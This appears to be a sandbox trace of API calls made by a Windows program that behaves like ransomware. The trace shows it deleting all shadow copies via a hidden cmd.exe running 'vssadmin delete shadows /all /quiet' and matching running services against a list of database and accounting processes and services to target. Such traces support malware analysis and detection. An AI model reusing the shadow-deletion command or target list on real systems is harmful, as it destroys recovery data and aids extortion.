	[0164.215] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6ab9a8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0164.215] lstrlenW (lpString="C:\\") returned 3
	[0164.215] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0164.216] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6ab9a8 | out: hHeap=0x610000) returned 1
	[0164.216] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbc68, Size=0x82) returned 0x69a630
	[0164.216] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbd38, Size=0x100) returned 0x6713e8
	[0164.217] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x69a630, Size=0x104) returned 0x673bb0
	[0164.217] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6713e8, Size=0x200) returned 0x673cc0
	[0164.217] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673a90, Size=0x104) returned 0x673ec8
	[0164.217] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655f50, Size=0x100) returned 0x670cb0
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd28 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673cc0 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672c30 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655208 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672c48 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655e40 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672b10 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673bb0 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672af8 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673ec8 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672c60 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673b20 | out: hHeap=0x610000) returned 1
	[0164.218] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672d98 | out: hHeap=0x610000) returned 1
	[0164.219] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672bd0, Size=0x20) returned 0x64d798
	[0164.219] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d798, Size=0x40) returned 0x670040
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbcc8 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672ca8 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x69a5a0 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672bb8 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x670cb0 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672cc0 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd78 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672d20 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626a08 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626328 | out: hHeap=0x610000) returned 1
	[0164.219] lstrlenW (lpString="%systemdrive%") returned 13
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655180 | out: hHeap=0x610000) returned 1
	[0164.219] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd08 | out: hHeap=0x610000) returned 1
	[0164.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x69a980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0164.220] WaitForMultipleObjects (nCount=0x2, lpHandles=0x62aa88*=0x294, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0205.183] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62aa88 | out: hHeap=0x610000) returned 1
	[0205.183] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0205.183] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627758 | out: hHeap=0x610000) returned 1
	[0205.183] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44415e0
	[0205.183] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44415e0, Size=0x20) returned 0x6685d8
	[0205.183] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6685d8, Size=0x40) returned 0x442aeb8
	[0205.183] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x442aeb8, Size=0x80) returned 0x655758
	[0205.183] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441700
	[0205.184] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441700, Size=0x20) returned 0x668380
	[0205.184] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1fffc) returned 0x4561480
	[0205.184] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x45b64b8
	[0205.184] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4419338
	[0205.185] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44415e0
	[0205.185] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44415e0, Size=0x20) returned 0x668420
	[0205.185] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x668420, Size=0x40) returned 0x442aeb8
	[0205.185] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x442aeb8, Size=0x80) returned 0x655ec8
	[0205.185] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655ec8, Size=0x100) returned 0x6713e8
	[0205.185] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0205.185] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6713e8 | out: hHeap=0x610000) returned 1
	[0205.185] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x45b64b8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0205.185] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4419338 | out: hHeap=0x610000) returned 1
	[0205.185] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45b64b8 | out: hHeap=0x610000) returned 1
	[0205.186] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x434, hWritePipe=0x19fd54*=0x580) returned 1
	[0205.186] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x5b4, hWritePipe=0x19fdc4*=0x428) returned 1
	[0205.186] SetHandleInformation (hObject=0x580, dwMask=0x1, dwFlags=0x0) returned 1
	[0205.186] SetHandleInformation (hObject=0x5b4, dwMask=0x1, dwFlags=0x0) returned 1
	[0205.186] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x434, hStdOutput=0x428, hStdError=0x428), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x5b8, hThread=0x338, dwProcessId=0xfb0, dwThreadId=0xfb4)) returned 1
	[0205.200] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0205.200] WriteFile (in: hFile=0x580, lpBuffer=0x655758*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x655758*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0205.200] CloseHandle (hObject=0x5b8) returned 1
	[0205.200] CloseHandle (hObject=0x338) returned 1
	[0205.200] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4561480 | out: hHeap=0x610000) returned 1
	[0205.201] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0205.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655758 | out: hHeap=0x610000) returned 1
	[0205.201] lstrlenW (lpString="%comspec%") returned 9
	[0205.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668380 | out: hHeap=0x610000) returned 1
	[0205.201] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0205.201] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626728 | out: hHeap=0x610000) returned 1
	[0205.201] ExitProcess (uExitCode=0x0) 

Thread:
	id = 32
	os_tid = 0xd88


Thread:
	id = 34
	os_tid = 0xd94

	[0163.877] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679ba0
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679ba0, Size=0x20) returned 0x64db80
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db80, Size=0x40) returned 0x627518
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627518, Size=0x80) returned 0x655b10
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655b10, Size=0x100) returned 0x656b78
	[0163.877] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679cc0
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679cc0, Size=0x20) returned 0x64da68
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64da68, Size=0x40) returned 0x627b90
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627b90, Size=0x80) returned 0x655db8
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655db8, Size=0x100) returned 0x678638
	[0163.877] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x679c18
	[0163.877] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64de18
	[0163.877] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x679b88
	[0163.877] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de18, Size=0x8) returned 0x64dd58
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x626868
	[0163.878] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd58, Size=0x10) returned 0x679ac8
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x6265c8
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1a) returned 0x64da68
	[0163.878] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679ac8, Size=0x20) returned 0x64da90
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c) returned 0x64dba8
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x16) returned 0x6265e8
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1a) returned 0x64db80
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x679cc0
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x64dce8
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x40) returned 0x627a28
	[0163.878] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dce8, Size=0x8) returned 0x64dd58
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x3c) returned 0x627ab8
	[0163.878] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd58, Size=0x10) returned 0x679ac8
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x626608
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x18) returned 0x626628
	[0163.878] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679ac8, Size=0x20) returned 0x64d860
	[0163.878] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x24) returned 0x626c18
	[0163.878] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0163.878] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656b78 | out: hHeap=0x610000) returned 1
	[0163.878] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0163.878] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x678638 | out: hHeap=0x610000) returned 1
	[0163.879] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x64d838
	[0163.880] EnumServicesStatusExW (in: hSCManager=0x64d838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0163.881] GetLastError () returned 0xea
	[0163.881] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1b46) returned 0x669710
	[0163.881] EnumServicesStatusExW (in: hSCManager=0x64d838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x669710, cbBufSize=0x1b46, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x669710, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0163.883] CloseServiceHandle (hSCObject=0x64d838) returned 1
	[0163.883] lstrlenW (lpString="AppXSvc") returned 7
	[0163.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.883] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0163.883] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0163.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0163.883] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0163.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.883] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0163.883] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0163.884] lstrlenW (lpString="Audiosrv") returned 8
	[0163.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0163.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0163.884] lstrlenW (lpString="BFE") returned 3
	[0163.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0163.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0163.884] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0163.884] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0163.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0163.884] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0163.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0163.884] lstrlenW (lpString="CDPSvc") returned 6
	[0163.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0163.885] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0163.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0163.885] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0163.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0163.885] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0163.885] lstrlenW (lpString="CryptSvc") returned 8
	[0163.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0163.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0163.885] lstrlenW (lpString="DcomLaunch") returned 10
	[0163.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0163.886] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0163.886] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0163.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0163.886] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0163.886] lstrlenW (lpString="Dhcp") returned 4
	[0163.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0163.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0163.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0163.886] lstrlenW (lpString="Dnscache") returned 8
	[0163.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0163.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0163.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0163.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0163.886] lstrlenW (lpString="DPS") returned 3
	[0163.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0163.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0163.887] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0163.887] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0163.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0163.887] lstrlenW (lpString="DsmSvc") returned 6
	[0163.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0163.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0163.896] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0163.896] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0163.897] lstrlenW (lpString="DusmSvc") returned 7
	[0163.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0163.897] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0163.897] lstrlenW (lpString="EventLog") returned 8
	[0163.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0163.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0163.897] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0163.897] lstrlenW (lpString="EventSystem") returned 11
	[0163.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0163.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0163.897] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0163.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0163.897] lstrlenW (lpString="FontCache") returned 9
	[0163.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0163.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0163.897] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0163.897] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0163.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0163.898] lstrlenW (lpString="gpsvc") returned 5
	[0163.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0163.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0163.898] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0163.898] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0163.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0163.898] lstrlenW (lpString="iphlpsvc") returned 8
	[0163.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.898] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0163.898] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0163.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0163.898] lstrlenW (lpString="KeyIso") returned 6
	[0163.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0163.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0163.898] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0163.898] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0163.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0163.898] lstrlenW (lpString="LanmanServer") returned 12
	[0163.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0163.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0163.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0163.899] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0163.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
